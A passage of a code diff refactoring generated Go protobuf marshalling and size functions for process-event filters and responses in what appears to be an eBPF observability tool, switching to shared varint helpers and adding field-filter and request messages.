func (m *Filter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.BinaryRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.BinaryRegex[iNdEx]) copy(dAtA[i:], m.BinaryRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.BinaryRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.BinaryRegex[iNdEx]))) i-- dAtA[i] = 0xa } @@ -313,7 +312,7 @@ func (m *CapFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } @@ -323,7 +322,7 @@ func (m *CapFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -333,7 +332,7 @@ func (m *CapFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -373,7 +372,7 @@ func (m *CapFilterSet) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.None) > 0 { var pksize2 int for _, num := range m.None { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -387,14 +386,14 @@ func (m *CapFilterSet) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x22 } if len(m.Exactly) > 0 { var pksize4 int for _, num := range m.Exactly { - pksize4 += sov(uint64(num)) + pksize4 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize4 j3 := i @@ -408,14 +407,14 @@ func (m *CapFilterSet) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j3] = uint8(num) j3++ } - i = encodeVarint(dAtA, i, uint64(pksize4)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize4)) i-- dAtA[i] = 0x1a } if len(m.All) > 0 { var pksize6 int for _, num := range m.All { - pksize6 += sov(uint64(num)) + pksize6 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize6 j5 := i @@ -429,14 +428,14 @@ func (m *CapFilterSet) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j5] = uint8(num) j5++ } - i = encodeVarint(dAtA, i, uint64(pksize6)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize6)) i-- dAtA[i] = 0x12 } if len(m.Any) > 0 { var pksize8 int for _, num := range m.Any { - pksize8 += sov(uint64(num)) + pksize8 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize8 j7 := i @@ -450,7 +449,7 @@ func (m *CapFilterSet) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j7] = uint8(num) j7++ } - i = encodeVarint(dAtA, i, uint64(pksize8)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize8)) i-- dAtA[i] = 0xa } @@ -491,7 +490,7 @@ func (m *RedactionFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.BinaryRegex) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.BinaryRegex[iNdEx]) copy(dAtA[i:], m.BinaryRegex[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.BinaryRegex[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.BinaryRegex[iNdEx]))) i-- dAtA[i] = 0x1a } @@ -500,7 +499,7 @@ func (m *RedactionFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Redact) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Redact[iNdEx]) copy(dAtA[i:], m.Redact[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Redact[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Redact[iNdEx]))) i-- dAtA[i] = 0x12 } @@ -512,7 +511,7 @@ func (m *RedactionFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -520,7 +519,7 @@ func (m *RedactionFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return len(dAtA) - i, nil } -func (m *AggregationOptions) MarshalVT() (dAtA []byte, err error) { +func (m *FieldFilter) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -533,12 +532,12 @@ func (m *AggregationOptions) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *AggregationOptions) MarshalToVT(dAtA []byte) (int, error) { +func (m *FieldFilter) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *AggregationOptions) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *FieldFilter) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -550,30 +549,176 @@ func (m *AggregationOptions) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if m.ChannelBufferSize != 0 { - i = encodeVarint(dAtA, i, uint64(m.ChannelBufferSize)) + if m.InvertEventSet != nil { + size, err := (*wrapperspb.BoolValue)(m.InvertEventSet).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- - dAtA[i] = 0x10 + dAtA[i] = 0x22 } - if m.WindowSize != nil { - if vtmsg, ok := interface{}(m.WindowSize).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) + if m.Action != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Action)) + i-- + dAtA[i] = 0x18 + } + if m.Fields != nil { + size, err := (*fieldmaskpb.FieldMask)(m.Fields).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.EventSet) > 0 { + var pksize2 int + for _, num := range m.EventSet { + pksize2 += protohelpers.SizeOfVarint(uint64(num)) + } + i -= pksize2 + j1 := i + for _, num1 := range m.EventSet { + num := uint64(num1) + for num >= 1<<7 { + dAtA[j1] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j1++ + } + dAtA[j1] = uint8(num) + j1++ + } + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *GetEventsRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetEventsRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetEventsRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.FieldFilters) > 0 { + for iNdEx := len(m.FieldFilters) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.FieldFilters[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x22 + } + } + if m.AggregationOptions != nil { + size, err := m.AggregationOptions.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } + if len(m.DenyList) > 0 { + for iNdEx := len(m.DenyList) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.DenyList[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) if err != nil { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.WindowSize) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + } + if len(m.AllowList) > 0 { + for iNdEx := len(m.AllowList) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.AllowList[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) if err != nil { return 0, err } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *AggregationOptions) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *AggregationOptions) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *AggregationOptions) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.ChannelBufferSize != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.ChannelBufferSize)) + i-- + dAtA[i] = 0x10 + } + if m.WindowSize != nil { + size, err := (*durationpb.Duration)(m.WindowSize).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -611,7 +756,7 @@ func (m *AggregationInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Count != 0 { - i = encodeVarint(dAtA, i, uint64(m.Count)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Count)) i-- dAtA[i] = 0x8 } @@ -649,7 +794,7 @@ func (m *RateLimitInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.NumberOfDroppedProcessEvents != 0 { - i = encodeVarint(dAtA, i, uint64(m.NumberOfDroppedProcessEvents)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.NumberOfDroppedProcessEvents)) i-- dAtA[i] = 0x8 } @@ -689,12 +834,12 @@ func (m *ProcessThrottle) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Cgroup) > 0 { i -= len(m.Cgroup) copy(dAtA[i:], m.Cgroup) - i = encodeVarint(dAtA, i, uint64(len(m.Cgroup))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Cgroup))) i-- dAtA[i] = 0x12 } if m.Type != 0 { - i = encodeVarint(dAtA, i, uint64(m.Type)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Type)) i-- dAtA[i] = 0x8 } @@ -746,15 +891,15 @@ func (m *GetEventsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { baseI := i i -= len(v) copy(dAtA[i:], v) - i = encodeVarint(dAtA, i, uint64(len(v))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(v))) i-- dAtA[i] = 0x12 i -= len(k) copy(dAtA[i:], k) - i = encodeVarint(dAtA, i, uint64(len(k))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(k))) i-- dAtA[i] = 0xa - i = encodeVarint(dAtA, i, uint64(baseI-i)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(baseI-i)) i-- dAtA[i] = 0x3e i-- @@ -764,7 +909,7 @@ func (m *GetEventsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.ClusterName) > 0 { i -= len(m.ClusterName) copy(dAtA[i:], m.ClusterName) - i = encodeVarint(dAtA, i, uint64(len(m.ClusterName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ClusterName))) i-- dAtA[i] = 0x3e i-- @@ -776,31 +921,19 @@ func (m *GetEventsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3e i-- dAtA[i] = 0xd2 } if m.Time != nil { - if vtmsg, ok := interface{}(m.Time).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Time) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*timestamppb.Timestamp)(m.Time).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3e i-- @@ -809,7 +942,7 @@ func (m *GetEventsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.NodeName) > 0 { i -= len(m.NodeName) copy(dAtA[i:], m.NodeName) - i = encodeVarint(dAtA, i, uint64(len(m.NodeName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.NodeName))) i-- dAtA[i] = 0x3e i-- @@ -831,7 +964,11 @@ func (m *GetEventsResponse_ProcessExec) MarshalToSizedBufferVT(dAtA []byte) (int return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0xa } @@ -850,7 +987,11 @@ func (m *GetEventsResponse_ProcessExit) MarshalToSizedBufferVT(dAtA []byte) (int return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x2a } @@ -869,7 +1010,11 @@ func (m *GetEventsResponse_ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (i return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x4a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x4a } @@ -888,7 +1033,11 @@ func (m *GetEventsResponse_ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x52 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x52 } @@ -907,7 +1056,11 @@ func (m *GetEventsResponse_ProcessLoader) MarshalToSizedBufferVT(dAtA []byte) (i return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x5a } @@ -926,7 +1079,11 @@ func (m *GetEventsResponse_ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (i return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x62 } @@ -945,7 +1102,13 @@ func (m *GetEventsResponse_ProcessThrottle) MarshalToSizedBufferVT(dAtA []byte) return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xda + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -966,7 +1129,13 @@ func (m *GetEventsResponse_ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xe2 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -974,6 +1143,33 @@ func (m *GetEventsResponse_ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, } return len(dAtA) - i, nil } +func (m *GetEventsResponse_ProcessUsdt) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetEventsResponse_ProcessUsdt) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + i := len(dAtA) + if m.ProcessUsdt != nil { + size, err := m.ProcessUsdt.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xea + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xea + } + return len(dAtA) - i, nil +} func (m *GetEventsResponse_Test) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) @@ -987,7 +1183,15 @@ func (m *GetEventsResponse_Test) MarshalToSizedBufferVT(dAtA []byte) (int, error return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x13 + i-- + dAtA[i] = 0xc4 + i-- + dAtA[i] = 0x82 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x13 i-- @@ -1010,7 +1214,15 @@ func (m *GetEventsResponse_RateLimitInfo) MarshalToSizedBufferVT(dAtA []byte) (i return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x13 + i-- + dAtA[i] = 0xc4 + i-- + dAtA[i] = 0x8a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x13 i-- @@ -1029,112 +1241,112 @@ func (m *Filter) SizeVT() (n int) { if len(m.BinaryRegex) > 0 { for _, s := range m.BinaryRegex { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Namespace) > 0 { for _, s := range m.Namespace { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if m.HealthCheck != nil { - if size, ok := interface{}(m.HealthCheck).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.HealthCheck) - } - n += 1 + l + sov(uint64(l)) + l = (*wrapperspb.BoolValue)(m.HealthCheck).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Pid) > 0 { l = 0 for _, e := range m.Pid { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.PidSet) > 0 { l = 0 for _, e := range m.PidSet { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.EventSet) > 0 { l = 0 for _, e := range m.EventSet { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.PodRegex) > 0 { for _, s := range m.PodRegex { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.ArgumentsRegex) > 0 { for _, s := range m.ArgumentsRegex { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Labels) > 0 { for _, s := range m.Labels { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.PolicyNames) > 0 { for _, s := range m.PolicyNames { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if m.Capabilities != nil { l = m.Capabilities.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.ParentBinaryRegex) > 0 { for _, s := range m.ParentBinaryRegex { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.CelExpression) > 0 { for _, s := range m.CelExpression { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.ParentArgumentsRegex) > 0 { for _, s := range m.ParentArgumentsRegex { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.ContainerId) > 0 { for _, s := range m.ContainerId { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if m.InInitTree != nil { - if size, ok := interface{}(m.InInitTree).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.InInitTree) - } - n += 2 + l + sov(uint64(l)) + l = (*wrapperspb.BoolValue)(m.InInitTree).SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.AncestorBinaryRegex) > 0 { for _, s := range m.AncestorBinaryRegex { l = len(s) - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.ContainerNameRegex) > 0 { + for _, s := range m.ContainerNameRegex { + l = len(s) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.NamespaceRegex) > 0 { + for _, s := range m.NamespaceRegex { + l = len(s) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -1149,15 +1361,15 @@ func (m *CapFilter) SizeVT() (n int) { _ = l if m.Permitted != nil { l = m.Permitted.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Effective != nil { l = m.Effective.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Inheritable != nil { l = m.Inheritable.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1172,30 +1384,30 @@ func (m *CapFilterSet) SizeVT() (n int) { if len(m.Any) > 0 { l = 0 for _, e := range m.Any { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.All) > 0 { l = 0 for _, e := range m.All { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.Exactly) > 0 { l = 0 for _, e := range m.Exactly { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } if len(m.None) > 0 { l = 0 for _, e := range m.None { - l += sov(uint64(e)) + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + sov(uint64(l)) + l + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } n += len(m.unknownFields) return n @@ -1210,69 +1422,123 @@ func (m *RedactionFilter) SizeVT() (n int) { if len(m.Match) > 0 { for _, e := range m.Match { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.Redact) > 0 { for _, s := range m.Redact { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if len(m.BinaryRegex) > 0 { for _, s := range m.BinaryRegex { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) return n } -func (m *AggregationOptions) SizeVT() (n int) { +func (m *FieldFilter) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.WindowSize != nil { - if size, ok := interface{}(m.WindowSize).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.WindowSize) + if len(m.EventSet) > 0 { + l = 0 + for _, e := range m.EventSet { + l += protohelpers.SizeOfVarint(uint64(e)) } - n += 1 + l + sov(uint64(l)) + n += 1 + protohelpers.SizeOfVarint(uint64(l)) + l } - if m.ChannelBufferSize != 0 { - n += 1 + sov(uint64(m.ChannelBufferSize)) + if m.Fields != nil { + l = (*fieldmaskpb.FieldMask)(m.Fields).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Action != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Action)) + } + if m.InvertEventSet != nil { + l = (*wrapperspb.BoolValue)(m.InvertEventSet).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func (m *AggregationInfo) SizeVT() (n int) { +func (m *GetEventsRequest) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.Count != 0 { - n += 1 + sov(uint64(m.Count)) + if len(m.AllowList) > 0 { + for _, e := range m.AllowList { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.DenyList) > 0 { + for _, e := range m.DenyList { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if m.AggregationOptions != nil { + l = m.AggregationOptions.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.FieldFilters) > 0 { + for _, e := range m.FieldFilters { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } } n += len(m.unknownFields) return n } -func (m *RateLimitInfo) SizeVT() (n int) { +func (m *AggregationOptions) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.NumberOfDroppedProcessEvents != 0 { - n += 1 + sov(uint64(m.NumberOfDroppedProcessEvents)) + if m.WindowSize != nil { + l = (*durationpb.Duration)(m.WindowSize).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.ChannelBufferSize != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.ChannelBufferSize)) + } + n += len(m.unknownFields) + return n +} + +func (m *AggregationInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Count != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Count)) + } + n += len(m.unknownFields) + return n +} + +func (m *RateLimitInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.NumberOfDroppedProcessEvents != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.NumberOfDroppedProcessEvents)) } n += len(m.unknownFields) return n @@ -1285,11 +1551,11 @@ func (m *ProcessThrottle) SizeVT() (n int) { var l int _ = l if m.Type != 0 { - n += 1 + sov(uint64(m.Type)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Type)) } l = len(m.Cgroup) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1306,32 +1572,26 @@ func (m *GetEventsResponse) SizeVT() (n int) { } l = len(m.NodeName) if l > 0 { - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Time != nil { - if size, ok := interface{}(m.Time).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Time) - } - n += 2 + l + sov(uint64(l)) + l = (*timestamppb.Timestamp)(m.Time).SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.AggregationInfo != nil { l = m.AggregationInfo.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.ClusterName) if l > 0 { - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.NodeLabels) > 0 { for k, v := range m.NodeLabels { _ = k _ = v - mapEntrySize := 1 + len(k) + sov(uint64(len(k))) + 1 + len(v) + sov(uint64(len(v))) - n += mapEntrySize + 2 + sov(uint64(mapEntrySize)) + mapEntrySize := 1 + 